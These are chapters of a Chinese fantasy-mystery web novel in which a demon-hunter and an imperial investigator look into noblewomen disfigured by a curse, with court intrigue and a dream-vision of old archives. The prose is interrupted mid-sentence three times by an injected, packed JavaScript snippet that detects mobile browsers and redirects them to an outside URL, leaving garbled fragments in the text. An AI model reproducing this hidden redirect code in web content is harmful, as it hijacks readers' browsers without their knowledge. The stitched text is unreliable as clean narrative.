阿婵依旧神色坦荡,如实说道:“可以,但我需要上古精怪做药引,比焰炁饕妖还要难寻,因怕耽误了最佳治疗时机,我找了很多民间郎中一起会诊,得知禾阳县主这边有药,我便赶紧来求。” 这些东西她没必要隐瞒霍彦先,不过…… “霍大人怎么对这药方如此感兴趣?” 霍彦先想了想,对阿婵解释,“告诉你也无妨,我最近在调查几起贵女毁容的事,禾阳这边有一些贵女之间也流传着和楼娘子相似的病症,虽不完全相同,但她们也经过禾阳县主的诊治,所用药方和你这纸上的有八成相似,所以我想着这其中或许有联系。” 听他这样说,阿婵才想起来,之前禾阳县主确实也跟她说过霍彦先在调查这件事情。 当时她心头也闪过一丝蹊跷之感,只是目前当务之急是要解决楼映真的事,暂时没空去了解。 霍彦先继续问:“楼娘子的病症来源,你可有头绪?” 阿婵心中自然有猜测,但她没有证据,显然不能空口白牙地指证,因此只摇摇头:“没有。” 她又道:“大人的调查可有什么进展?” 霍彦先也摇了摇头,他最近调查了贵女的身份、家世背景、日常活动,她们都各自有各自的小圈子,近期也没有什么大型宴会,似乎没什么交集。 二人陷入沉默。 阿婵想了想,小心翼翼地问:“大人今日是否还会再去调查?我可以跟着去看看吗?” 霍彦先谨慎思索一番,似乎也无不可,毕竟她也接触了一个疑似受害者,便点点头。 二人和杨奉安来到其中一个贵女府上,进行例行调查。 这位贵女名叫纪幼珊,她的面容虽经过禾阳县主全力救治,但也还残留有比较明显的蛇形条纹印记,密密麻麻交织在脸上,很是骇人。 一提到这件事,她的情绪就很不稳定: “霍大人,你之前不是已经来问过了,我根本没有接触过什么奇怪的人,不知道怎么一觉醒来脸就毁了! 禾阳县主来给我医治之时,也跟我说了实话,她说已经错过了时机,连她也只能治标不治本,我这辈子就只能这样了……” 说着,她便激动起来,泫然欲泣,面上的蛇纹连同脖子都染了一层绯色。 她掩面呜咽:“收到玥宜公主的请帖,我哪里敢不去,可是去了又怕让公主也染上病症,那就太罪过了。” 阿婵全程没怎么说话,只是在霍彦先旁边仔细观察纪幼珊的面部。 发现她除了蛇纹占据了半张脸之外,自己原本的肌肤底子其实很好,白皙透粉,加上她圆圆的脸和一双浸润秋水的秀眸,本应是甜美明媚的一张芙蓉面,可惜蛇纹将一切都毁了。 纪幼珊崩溃道:“我原本已经定了亲事,如今都只能退掉,谁肯要一个毁了容的丑八怪!” 霍彦先为了核查口供,又反复问了些已经问过的问题,虽然纪幼珊有些不耐烦,但碍于霍彦先的威压,还是忍着崩溃将这些问题一一又重复了几遍。 霍彦先见她的说辞和上一次别无二致,应该确实也是找不出什么头绪,便告辞了。 二人出了府,见阿婵罕见地一直没有说话,霍彦先问道:“你有什么看法?” 阿婵手指抵着下巴,一副努力思考的样子:“大人,我有一个非常不成熟的想法。” “说说看。” “大人你不觉得,这位贵女很眼熟吗?” 霍彦先仔细想想,他一天过眼很多人,看得都有点麻木了,“这些染病的贵女,似乎都长得差不多,也没什么特别的。” “长得差不多?”阿婵突然停住脚步。 “是啊。” “大人我可以看看其他染病贵女的长相吗?” “理由?” “是不是和楼映真很像?” 霍彦先仔细回想,表情立刻严肃起来,好像……还真是。 连续几天毫无进展的调查终于找到一个共同点,似乎是个突破口。 霍彦先让杨奉安立刻回到绣衣察事司据点,将贵女们的肖想画卷都拿出来,他和阿婵在附近的茶馆找了个雅间等着。 等待的过程中,店小二来给霍彦先和阿婵点茶。 “有没有安神的茶,来一壶。”霍彦先问道。 “客官,我们这里的酸枣仁茯苓茶可以一试。” “好。” 阿婵一边喝茶,一边看着霍彦先给她写出来的染病贵女名单。 她这几天一直没能睡个好觉,刚才又因在禾阳县主处知晓了阿菀死前曾遭受那样的折磨,心情如遭雷击,再加上楼映真和贵女之间突然产生某种联系,种种事件在她脑海中交织成乱麻,此时室内有些闷热,再加上茶中的酸枣仁起效很快,让她整个人昏昏欲睡。 霍彦先也正闷头看着贵女名单,苦苦思索其中的奥秘,见一部分名单被压.在了阿婵的胳膊肘下,他想要取出,一抬头,便见阿婵单手托腮,已然陷入昏睡。 他这一抽纸,差点把她撑着脑袋的胳膊肘也移走。 阿婵整个人看起来疲惫至极,非但没醒,还向霍彦先靠过来,吓得霍彦先赶紧用身体靠着她,用手支住她的头,让她维持沉睡状态。 这阿婵平日里倒看不出睡眠不足,大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202129|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数时候都神采奕奕,鬼主意一个接着一个,但今日霍彦先在县主府遇到快要走进池塘的阿婵时,就觉得她似是丢了魂,终于没了强撑出来的伪装,是真真实实内心被什么东西压垮的感觉。 那种魂游天外的状态,虽不像在富州城她见人从佛塔上跌落之时的癫狂,却亦相差不远,不知道这次是否也和阿婵那位关系亲密的姐妹有关。 霍彦先见阿婵杵着胳膊睡得极其香甜,突然想起那日在灵骅寺,她也是这样,找个角落一窝,便睡一觉,天下雨了也不知道。 要不是他路过看到,顺便给她撑伞,她就要被雨淋成落汤鸡,但估计她醒来也会觉得无所谓,像个小狗一般甩甩身上的泥水,继续溜溜达达。 可像她这般年轻貌美的女子,有高强的捉妖本领,也不缺挣钱的本事,谁会整天素面素衣,把风餐露宿当做习以为常呢? 就算是那些玄门中人,也很少见到这样随随便便对待自己的,随便到,仿佛没有明天。 她到底经历过些什么? 霍彦先盯着阿婵一颤一颤的睫毛,一时间想入了神。 一室寂静。 *** 陷入梦境的阿婵,此时并没有闲着。 “你最近怎么又不好好睡觉!想要入一次你的梦比登天梯都难,你是不是不想替我儿子拿药!” “哎呀好了好了,最近忙着赶路办事,都没时间睡觉,你别生气,你儿子的药我有按时送到药犀门啦,抓紧时间,快说正事。”阿婵安慰着暴躁的猫妖。 猫妖抖落抖落一身金黄的皮毛,没好气地哼哼,“你要的东西我查到一点。” 阿婵看到猫妖抖落出来的幻境,里面是嘉善皇后十一年前参加亲蚕礼的相关卷宗,里面有具体的时间、地点和安排。 她仔细阅读上面的文字。 “月有入舆鬼者……凤驾亲临钦州府,巡视能织造特异蚕丝之养蚕人家黄氏茂才……及至归来,深山遇一黄雀,可吐金屑,神鸟是也,随凤驾回宫……” 这个卷宗中提到,嘉善皇后十一年前为了筹办每年一度的亲蚕礼,特意去钦州府一个会养特殊蚕丝的蚕农家中视察。 并打算将其请到桓安亲蚕礼之上,给予特殊褒奖,以鼓励天下蚕农研发新蚕种,展示皇室对农事的重视。 回来的时候,嘉善皇后还在深山遇到了一只可以吐金屑的鸟。 没猜错的话,这只鸟应该就是“嗽金鸟”,阿婵心想。 这和“月入舆鬼”的天象确实对应得上。 占经有云:“月有入舆鬼者,皆为财宝出。” 嗽金鸟外形似山雀,羽毛金黄,怕霜雪,可以吐.出小米大小的金子,这些金子被称为“辟寒金”。 它的出现通常预示着附近可能会有金矿,但这天象,似乎并不是吉兆…… 阿婵继续往后读,不禁皱眉,卷宗中居然提到了霍彦先和禾阳县主?! 76. 捞尾巴 阿婵扫了一眼卷宗,看到提及霍彦先的字眼,不禁赶紧又把卷宗从头到尾细细看了一遍。 “……凤驾回宫……途经钦州府之深山……忽逢官府围剿盗挖矿山之贼人……几丧性命……万幸获救……” “……救人者霍氏彦先,为将门霍氏子弟,少时随父远征……舞象之年,皇后首度得见其人,念其智谋不俗,有蛰伏设局引剿盗矿贼人之功,后向圣人力荐……” 上面那段文字是以卷宗本来规制的绢本誊写而成的,下面这段则是从另外一个卷宗移抄过来的纸本,应该是当时用以补充说明霍彦先身份的。 这份卷宗大概意思是说,当时皇后遇险,是因为钦州府的官府在全力围剿一伙盗挖矿山的贼人,年方十九岁的霍彦先配合官府,在贼人中卧底设局引贼人出洞。 最后合围贼人的时候,不慎惊扰了凤驾,贼人掳皇后为人质,因为被追杀得太厉害,走投无路,差点把皇后撕票。 还好霍彦先不惜冒着暴露身份的风险将其救下,嘉善皇后才万幸没有受伤。 后来,这伙贼人被清剿干净,圣人在此地发现了一座巨大的金矿。当时大桓边患四起,正是国库告急之时,这个发现让圣人大喜,认为是嘉善皇后仁德无双,引来嗽金鸟发现金矿,给大桓带来的福祉。 而嘉善皇后感念霍彦先不及弱冠,便胆识谋略相当过人,亲自向圣人力荐霍彦先。 后来,圣人便命霍彦先进入绣衣察事司历练,他的表现也确实不俗,短短一年便从绣衣暗候、绣衣行走破格擢升至绣衣监侯,并获得了御赐的龙首金杖…… 阿婵以前只知道当今圣人在钦州府有一座金矿,是禁地,对外宣称是皇家打猎的围场。 但如今看来,这竟然是十一年前霍彦先和当地官府围剿之后发现的。 而且,有一点令阿婵很是吃惊。 她本以为,是因为霍氏将门的势力和出身,以及霍彦先与嘉善皇后侄子杜时衡是好友,才使得皇后对霍彦先十分信任,让他暗中去给父亲收尸。 但看卷宗里的意思,嘉善皇后并没见过年幼的霍彦先几次,他便随父出征,直到十九岁这次围剿贼人,嘉善皇后才再度见到他,惊讶于他的智谋。 看来,嘉善皇后对霍彦先更深层次的信任,是因为他救过皇后的性命。 而且霍彦先能够进入绣衣察事司平步青云,也是嘉善皇后牵的线。 但是如此一来,霍彦先为什么一边为圣人效力,一边又阳奉阴违为皇后办事?圣人和嘉善皇后之间,难道有什么嫌隙? 但看卷宗以及坊间传闻,圣人对皇后情深义重,以至于皇后薨逝多年,依旧对其念念不忘,后宫也未再立新主,这实在令阿婵想不通。 按下各种捋不清的头绪,阿婵继续往下看。 “后途经禾阳县……皇后头风发作,随行御医多番药诊无果……幸遇叶氏逢君,妙手祛病……皇后病愈,即巡查当地安慈堂、安孤堂……” “……叶氏逢君,民间医女……上念其医术精湛,有悬壶济世之心,遂敕封其为禾阳县主,为大桓唯一外姓之县主……” 这两段话也是一段绢本,一段纸本补充说明。 大概是说,嘉善皇后快回桓安之际,路过禾阳县,突然头风发作,大概是因为在钦州被贼人掳走受到了惊吓,御医怎么用药都没用,后来遇到了叶逢君才治好。 皇后十分感谢叶逢君,听闻其救治民间女子的许多佳迹,觉得此女品性医术双双绝佳,想让其进入太医院,但没想到叶逢君拒绝了。 皇后非但没生气反而十分欣赏,后来让圣人将其封为禾阳县主,成了大桓唯一的外姓县主,给大桓女子做出了杰出榜样。 后来嘉善皇后头风好了之后,顺便在禾阳县停留了几天,视察了当地的安慈堂、安孤堂,揪出了一些贪污人员,整顿了一番才走。 这段倒是与阿婵在谢慕游那里听来的有关叶逢君的消息十分吻合。 怪不得霍彦先在客栈不认识叶逢君,原来那一年,嘉善皇后是先在钦州府遇险被霍彦救了,然后再在禾阳县遇到的叶逢君? 而且玥宜公主此番前来禾阳县,据说也是因为当年嘉善皇后整顿安慈堂、安孤堂之后留下的习惯,每年都会来视察一番,看看有没有人再作妖。 这些和阿婵知晓的消息都对得上,那么这份十年前的卷宗肯定是真的,这毋庸置疑。 只是要查清十年前父亲之死,阿婵还需要更多线索,理清霍彦先、嘉善皇后和父亲之间的关系。 阿婵问猫妖:“你找没找到过应贤和霍彦先、嘉善皇后有关的消息?” “你真当我是万能的啊!”猫妖怒了,亮出爪子虚空挥舞。 “光是查这些东西,我已经被从宫里的卷宗库赶出去好几次了。我用神识阅读了大部分卷宗,基本上都没有提到霍彦先的,就这一份,实在是太难找了!” 阿婵思索:“霍彦先身份不同,绣衣察事司涉及到许多机密。应贤更是圣人亲自定罪操纵妖蛊之祸的凶手。他们的卷宗可能在看管更严密的地方。卷宗库中还有什么地方你进不去的吗?” “有啊,三层阁楼,但那里似乎有阵法守护,以我的修为神识都无法随意进去,上一次硬闯还吐了血,废了许多修为!”猫妖翻着白眼道。 这倒也不意外,父亲当年行刑之时,刑场外也有阵法守护,看来光靠猫妖不行,她还得另想办法,唉,如果能亲自去卷宗库看一看是什么阵法就好了。 阿婵问猫妖:“你知不知道是什么阵法?” 猫妖瞟她:“不知道啊,碰一下就吐血废修为,我可不敢再试了。” 阿婵十分上道:“好啦,你需要什么补充修为的灵草灵药,我都去替你找,说吧。” “这还差不多……”猫妖咧嘴一笑,开始狮子大开口地列单子:“凝神肉芝,四百年的田螺精壳,灵渊毒蛟前爪甲片……” “行,这些我会尽快找到给你送去。”阿婵没有丝毫犹豫,爽快答应。 “对了,上次让你去查的嘉善皇后亲笔书信,有没有查到那个花押是什么意思?” 猫妖在神识中一通搜罗,大部分东西它都只能把画面记下来,关于里面的内容,她看不懂也没兴趣。 “卷宗库里她的信件备份上,都没有那个印记,但是上次那个孔雀妖的魂魄中有个残片,你看看……” 它将画面幻化给阿婵看。 那是一封亲笔信,只剩残片落在地上,可能刚好被生前的孔雀妖看到记在脑海中。 阿婵仔细辨认字迹,大概是嘉善皇后写给她侄子杜时衡的。 “朔勒一战……此行凶险,切忌不可妄自托大… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205911|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …吾力荐彦先与你全力配合……” 阿婵越看眉头皱得越紧。 她一直以为,杜时衡和霍彦先互相配合作战这件事,是圣人钦定的。 没想到这封信中,竟然是嘉善皇后苦口婆心地劝说侄子,好不容易给他争取到了将军头衔,让他一定好好干,不要让家族在圣人面前丢脸。 而且也是她,向圣人力荐霍彦先为杜时衡提供情报,让他们二人互相信任对方。 但结果却是杜时衡贪功冒进,导致大桓精锐全军覆没。 也有风言风语,说是霍彦先嫉恨杜时衡与他战功相近,却先他一步升至将军领兵作战,因此霍彦先故意提供假情报,导致其领兵中埋伏。 真相众说纷纭,这么多年来也没人能说得清,只有战败是真真正正地发生了。 所以,这场悲剧的源头,竟然是因为嘉善皇后从中牵线? 谜团越来越多了。 信的末尾,点缀着一组由各种工笔花卉枝叶组合而成的花纹,很像绣花边的图案,笔下线条精细,敷色妍丽,和十年前霍彦先在父亲坟前烧毁的那封信上的花押线条确实很相似。 但是看不出什么特别的意义,阿婵感慨,这个嘉善皇后还真是好兴致,还有空在这种信后面画这种画。 但是她越看越觉得这组花纹很是诡异,总有种说不出来的违和感…… 她还想多看看,但是一声巨响传来,猫妖吓了一跳,连忙收回幻境,一溜烟跑了。 “唉,别走!”阿婵还没完全想通到底哪里诡异,想再多看一眼,一把捞住猫妖的尾巴,结果没捞住。 懊悔之中,巨大的声响吓了阿婵一跳,她睁开眼,赫然发现眼前竟是霍彦先! 他正十分诧异地盯着自己,鼻尖离自己的脸很近很近,耳尖还有可疑的泛红…… “你……你做什么……”霍彦先声音有点闷闷的。 阿婵这才反应过来,原来她在梦中想要捞猫妖的尾巴,结果竟然是抱到了霍彦先的手臂! “……”阿婵赶紧放开,身体远离霍彦先。 她才发现,刚才自己睡着了,而且竟然是靠着霍彦先的身体睡的! 刚才梦境中信息量太大,阿婵此刻也有点发懵,赶紧暗自缓了口气调整一下,随即恢复谄媚一笑: “对不起啊霍大人,我刚才睡着了,什么都不知道……只听见一声巨响,可是出了什么事?” 霍彦先脸上青一阵红一阵,看向门口。 只见雅间的门被推开了一半,杨奉安躺在地上。 阿婵:“……” 原来,刚才杨奉安急匆匆拿着卷宗赶回来,推门而入,结果竟看到屋中阿婵抱着霍彦先的胳膊,两人相互倚靠,一副亲密无间状,他心中顿时咯噔一下,暗道坏了坏了,看见了不该看的,这下糟了! 不过他杨奉安是谁呀?他一向精通随机应变,立马往地上一躺。 霍彦先黑着脸:“你问问他!” 只见杨奉安听到这话,从地上慢悠悠睁开眼睛,摇摇晃晃爬起来:“啊,大人,阿婵娘子,刚才我不知道怎么了眼前一黑就晕了,什么都没有看到,刚才我这是怎么了啊……” 阿婵:“……” 霍彦先:“……” 霍彦先险些把茶杯捏碎,用来抑制住想揍他的冲动。 77. 我不配 杨奉安满嘴胡话,阿婵倒是极其自然地接话,“一定是小杨大人来回跑太累了,来,我给你把把脉。” 杨奉安赶紧装作无事发生,一顿配合,留霍彦先在一旁脸色红里透黑。 阿婵一面给杨奉安把脉,一面心中觉得奇怪,为什么每次霍彦先在自己身边,自己就会睡得特别香,猫妖就能入梦带给她有关霍彦先的消息,难道这其中有什么关联? 她心中正在奇怪,霍彦先看着她触碰杨奉安的手腕,拉着脸道:“你还给他把脉?不看看你自己累成什么样?” 阿婵不好意思地挠挠头:“唉,这几天连轴转,既要找县主制药,还得替东仓使者收拾残局,确实有点累!” 一提到东仓使者,阿婵就头大。 “不过大人,我去看过丽娘了,替她换了一间不漏雨的屋子。她眼睛不方便,新住处更方便她出门采买东西,顺便也远离那些被东仓使者得罪的邻居。 唉,说到东仓使者我就来气,你都不知道它多能惹事!光是替它把它偷过的丽娘邻居的那些东西都置办齐全,让它再原样送过去,就费了好长时间。我和丽娘一起教育了它好久! 后来又去岩明观替它归还玉笏,给道长道歉,当场敲了它的头让道长消气,赔了香火钱,忙活这一通,晕头转向的。” “……” 霍彦先看着气呼呼的阿婵,心想怪不得她睡得这么沉,原来是又四处散财去了。 不过她的话倒是提醒了自己,这几天一直查贵女的事,都没顾上于金匮、地头蛇和县令那边的进度,一会儿要顺路让当地绣衣察事司再好好“敲打一番”。 阿婵见霍彦先不说话,又继续给杨奉安把脉,“小杨大人,你这个身体没什么问题,就是气血好像有点太足了,少吃点肉吧……” 杨奉安:“……是是是,最近是吃得有点多……” 看着两人一唱一和,霍彦先没好气地出言打断:“你们好了没?赶紧说正事!” 阿婵和杨奉安终于收敛,一本正经开始讨论案情。 三人在雅间将画卷铺满桌子和地面,而后发现,这些受害的贵女,都有一个普遍相似的面容。 脸型圆润,下颌收尖,肌肤无瑕,柳眉杏眼,朱唇娇.艳,鬓发丰饶,看上去都是甜美清纯、面若桃花的美人。 “这些人的确和楼娘子相似。”霍彦先回忆楼映真的面容,喃喃道。 阿婵摇摇头,“不止和楼娘子相似。” 霍彦先抬眼看她:“什么意思?” “大人可能只是从审讯嫌疑人的角度看这些贵女的面容,但我经常为雇主研制美容养颜的药膏,对于女子面容结构肯定比大人要敏感。与其说她们的面容很像楼娘子,不如说,更像煜王妃。” 像煜王妃??? 霍彦先和杨奉安眼中均流露出诧异神色。 霍彦先仔细一想,眉头皱得更紧了。 阿婵心中感慨,因自己早年模仿阮云薇、楼映真的面容,接近煜王,才会注意到这些,果然没有白费的力气,没想到有朝一日竟在这里能用上。 但这也说明,这件事和晁元肇、阮云薇脱不了干系。 霍彦先显然也意识到了这一点。 那么接下来的调查方向就很明显了——看看这些贵女和煜王、煜王妃是否有过交集和恩怨情仇。 这件事自然不用阿婵操心,她知道霍彦先很快便会调查清楚,便说自己要先回桓安,救治楼映真的脸。 “如果你从楼映真那里查到什么新线索,随时告诉我。” 霍彦先给了阿婵一个联系地址,让她将消息送到那里,自会有人通知他。 阿婵拿着地址,快马加鞭回到桓安。 *** 桓安蓬莱春,清晨,雅间。 “居士,嘶……这药怎么这么疼……” 得知阿婵回来的消息,第二天清晨,楼映真便迫不及待地找上门,让阿婵替她上药。 楼映真起初觉得,这药上脸有点疼是正常的,毕竟良药苦口,疼代表药起了作用。 只是没有想到,刚上药时火辣辣的疼没一会儿就变成了钻心蚀骨的痒痛。 她疼得面部表情失去了控制,龇牙咧嘴小心翼翼地向阿婵发出疑问。 疼就对了。 阿婵不仅按照县主的药方,在药膏中加了一味药让药效减半,还掺了点辣椒面。 阿婵一边下手毫不留情地给楼映真反复涂抹,一边“贴心”地对她解释: “这个药性确实比较烈,我已经酌情给你减了量,但是再减下去药效就该降低了,怎么样,还能忍吗?不能的话,我们就少涂一点。” 楼映真忍住剧烈的痛痒道:“少涂一点,是不是好得就慢了?” “那是自然。” “那……没关系,居士您该涂多少就涂多少,我……嘶……我能忍得住……”楼映真一边疼得眼泪汪汪一边说。 “不许哭!”阿婵突然厉声道。 “怎……怎么了?”被疼得实在忍不住流泪的楼映真被吓了一跳。 “不好意思,是我刚才着急了,只不过是想提醒你,掺了水,药效也会减半。”阿婵温柔一笑。 “好、好的,我尽量忍住……” 楼映真拿出那些年练武辟谷的劲头,吸吸鼻子,强忍住流泪的冲动,一面在内心默念: 忍住楼映真,你可以的,那么多年都熬过来了,这点小痛算什么……嘶……一定可以坚持得住,嘶…… 阿婵一边给楼映真上药,一边状似无意地说: “最近我去禾阳县找药的时候,听说有些贵女前不久也被毁容了。我听那毁容的症状描述,似乎和你的很像。 这件事似乎也惊动了官府,调查过后,发现这些贵女都是和煜王殿下有过接触的,不知道是谁这么狠心,下的毒手。 我想起上次在灵骅寺中,你不是也和煜王殿下有过接触,是不是也是因为这个中招了?” 阿婵将和霍彦先的推测改头换面移花接木成小道消息的样子。 楼映真听后,却沉默了一瞬,问道:“她们治好了么?” “据说她们是两月前就已经毁容了,比你时间长很多,治起来更加麻烦,暂时没有能治好她们的药,还需要再去寻,但她们所需的药引可比你这个难寻多了。” 阿婵顿了顿,压低声音道:“不过……这件事在禾阳贵女圈是保密的,我是不忍看你如此受罪,才冒着风险告诉你,你可千万不要告诉别人。” 楼映真郑重点点头,“放心,居士待我恩重如山,我定不会将此事说出去的。” 之后上药的时候,虽然疼痛难忍,但楼映真变得心事重重,显然注意力已经不在疼痛上了。 阿婵见已经提点得差不多了,上完药便让楼映真回去。 “记得明日之前不要洗脸,免得药效不够。”阿婵反复嘱咐。 “多谢居士,要不是居士排除万难替我寻到药引,我怕是也像那些贵女一样恢复无望了。” 楼映真对阿婵行了一个大礼,再三感谢,并又额外给了阿婵一些辛苦费,才告辞离开。 楼映真乘马车回到家,看看时间,换上了灵骅寺初见煜王时的那身赭衣,再次出门,来到承景门外,看看能否偶遇煜王。 功夫不负有心人,等了半晌,还真让她遇到了刚下朝的煜王。 晁元肇似乎刚与霍彦先分别,神色凝重。 楼映真忙装作不经意掠过煜王面前。 “映真?”晁元肇见到身姿婀娜的一袭赭衣,惊喜地在后面唤她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223208|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼映真假装没有听到,继续往前走。 “映真、映真!” 听到身后的男人激动地唤了她两三声,她才回过头来。 晁元肇见她回头,本是一脸惊喜,可随即,脸色大骇,“映、映真……你怎么也变成这副模样?!” 楼映真为了这场偶遇,故意没有带遮面的纱巾和帷帽,脸上的疤痕丑陋扭曲,完完全全暴露在晁元肇眼前,给了他极大的震撼。 “也变成?殿下是何意?还有谁也变成这样了吗?”楼映真眼神迷茫,故作不解地问道。 “不、不是,我一时着急说错了,你是怎么变成这样的?” 楼映真十分平静地道,“我也不太清楚,自从上次和云薇姐姐见面之后,第二天一早就变成了这样,也不知道是不是因为西北待得太久,回到桓安水土不服,或者是吃错了什么东西。” 她说得云淡风轻,就像她在晁元肇面前一贯坚强冷静的样子。 但晁元肇听在耳中,可心疼坏了。 刚才下朝的时候,霍彦先单独把他拉到一旁,神神秘秘询问他去荔南之前,有没有去过禾阳县,是否跟一些贵女有接触,一副要兴师问罪的样子。 他知道霍彦先一向对女人没有兴趣,头一回见他这样问,还打趣了霍彦先几句,而后一一回忆了这些贵女的样貌身段,还对霍彦先说,如果有感兴趣的,可以给他引荐引荐。 霍彦先听后十分无语,神色严肃地告诉他,玥宜公主发现这些贵女现在都毁容了,命绣衣察事司尽快查探原因。 而他查了半天,发现这些贵女唯一的共同之处,就是都曾和煜王殿下有过不同程度的接触。 或者是同一条街偶遇,或者是共同出席同一个宴席偶遇。 晁元肇大吃一惊,连忙辩解,说自己去禾阳巡查的时候,只是曾经去过这些贵女父辈设下的宴席。最多是和贵女在席间打了个照面,说了两句话。 还有街上偶遇的贵女,也只是因为在宴席上见过面,有了印象,再次见到便打个招呼,并没有过于亲密的接触,绝对不是自己搞的。 晁元肇想起那些容貌姣好的贵女,十分心疼,嘱咐霍彦先一定要快点查,抓住凶手严惩,不能让这些贵女一辈子就这样毁了。 在霍彦先审视怀疑的眼神中,晁元肇告辞离开,他正准备去趟禾阳县看看怎么回事,结果转身便遇见楼映真。 看到她的脸居然也变成了霍彦先口中描述的那样,他勃然大怒,到底是何人如此歹毒! 楼映真见煜王心疼的眼神,虽然脸上依旧火辣辣地疼,但内心十分满意,此行目的已达到,她便神色平淡地告辞:“如今我这幅样子,怕吓到殿下,就先走了。” “别、映真别走……你可看了大夫?我这就带你去看御医!”晁元肇抓起楼映真的手便要带她去太医院。 楼映真冷漠抽手,“不必了殿下,我这等贬谪之臣的女儿,不配看御医。而且我已去医馆开了药,回去敷一敷便可,横竖现在没有什么需要容貌应酬的事情,就算好不了也没什么,殿下你有事去忙便是,不必在意我。” 这一番话听得晁元肇心中更是针扎一样疼,执意要送她回去。 一路上,楼映真维持着礼貌疏离,她越这样,晁元肇越慌,像孩童一般坐立不安,手脚都不知道往哪儿放,好像真是因为他才害得她变成这样。 回到别苑,晁元肇道:“你好好休息,别急,我一定会找到办法治好你的脸!” 之后,他便匆匆离开。 见一向风.流倜傥气定神闲的晁元肇,背影头一次如此慌张,楼映真勾起唇角。 脸上涂药处依旧十分疼痛,她回头对婢女道:“你马上去问一下闻寰居士,这药膏少涂一些,药效是不是可以再慢一些?” 78. 偶遇美人 “煜王殿下,请留步。” 正当煜王晁元肇打算去找名医救治楼映真的脸时,他的马被人拦住了。 “你是何人,怎敢拦我的路!”晁元肇本就心焦,此时更是语气不耐。 对方亮出了绣衣察事司的腰牌,“我们副察事请您去福源酒楼一叙。” “我有要事,待回来再去找他!”说着,晁元肇不顾阻拦,便要纵马前行。 对方仍拦在马前,分毫不让,“副察事说,是和贵女毁容之事有关,殿下不感兴趣吗?” 煜王闻言,瞟了那人一眼,思索片刻,最终还是阴沉着脸调转缰绳,“带路!” *** 福源酒楼,雅间。 “你是说,要我配合你们绣衣察事司演一出戏,引出幕后真凶?”煜王问道。 “正是,目前我们尚不清楚贵女们为什么会被毁容,但经过分析,毁容的是一种蛊毒,并不是疫病,也不会传染,那么很可能是有人投毒。 目前我们只知道这些贵女都曾和殿下有过偶遇交集,我们在明,凶手在暗,十分被动。 为了防止更多女子受害,还请煜王殿下配合,明日在西市假装偶遇贵女,尽量将戏演得真实一些,看看凶手会不会有所动作。”霍彦先解释道。 看煜王还有些犹豫,他又问:“或者说……殿下对于凶手,可有什么头绪?” 看霍彦先的眼神,晁元肇就知道,他仍未排除自己的嫌疑,明日既是演戏,也是为了观察自己。 但自己坦坦荡荡,也确实不知道为什么这些贵女会因他毁容,只能无奈地摇摇头,一时愁绪上了心头:“不知道,她们的脸,若真是因我而毁,当真是无妄之灾,难道真就一辈子治不好了么……” “禾阳县主叶逢君,殿下应该认识吧,她医术了得,我调查时询问过她,她说这些贵女看遍名医,最后找到她的时候,因为症状出现太久,所以她也束手无策。” 晁元肇品出话中意味,眼神一亮,“那如果时间短,是不是有救?” “听禾阳县主话中之意,如果刚被毁容,有些药引是可以缓解的,只不过比较名贵罕见,但我调查的那些贵女被毁容最晚的一个距今也有两个月了,怎么殿下还认识哪个近期被毁容的吗?” 霍彦先一双鹰眼审视着煜王。 “不、不认识……我就是心疼她们,女子被毁容貌可是大事,我不能让她们后半辈子因我而陷入这种痛苦。禾阳县主医术那么了得,当初皇后娘娘受伤也是她治好的,我亲自去找她,一定能想出办法的!” 晁元肇心中惦念楼映真,既然霍彦先说短时间内可以治好,他恨不得现在就飞去禾阳县。 与此同时,霍彦先心中也在思忖,他告知煜王贵女毁容之事时,没提过楼映真,煜王自己也不提,不知道这其中是不是有什么猫腻。 二人心中各自怀揣心事,沉默半晌。 霍彦先再次向煜王确认:“明日之计不会占用殿下太多时间,不耽误您去禾阳求药,殿下,是否愿意配合我们?” 煜王定定看着霍彦先,思索片刻,道:“好。” *** 蓬莱春内,阿婵收到了霍彦先的消息:明日晌午,西市,引蛇出洞。 “好好好!我为你精心准备的衣服首饰终于派上了用场!” 谢慕游知道这个消息之后,兴奋地摩拳擦掌,连忙将为阿婵准备的几十套衣服全部拿出来显摆。 她将一件羽纱流云衫裙抖落开来,羽纱轻薄,丝绸流光溢彩,美丽得让人惊叹。 “这件是专门为你定制的,连颜色都是专门染的,整个大桓绝对没有第二件,你就穿吧,一穿晁元肇一个不吱声!” 看着对面献宝一样给自己展示裙子的谢慕游,阿婵有点犹豫: “这、会不会太浮夸了,贵妃的行头也不过如此,真有贵女会穿成这样走在市集吗?” “行,那就换这件,这件紫色的比较低调,但是它的腰身设计,绝对让人眼前一亮!”谢慕游又拎起一件。 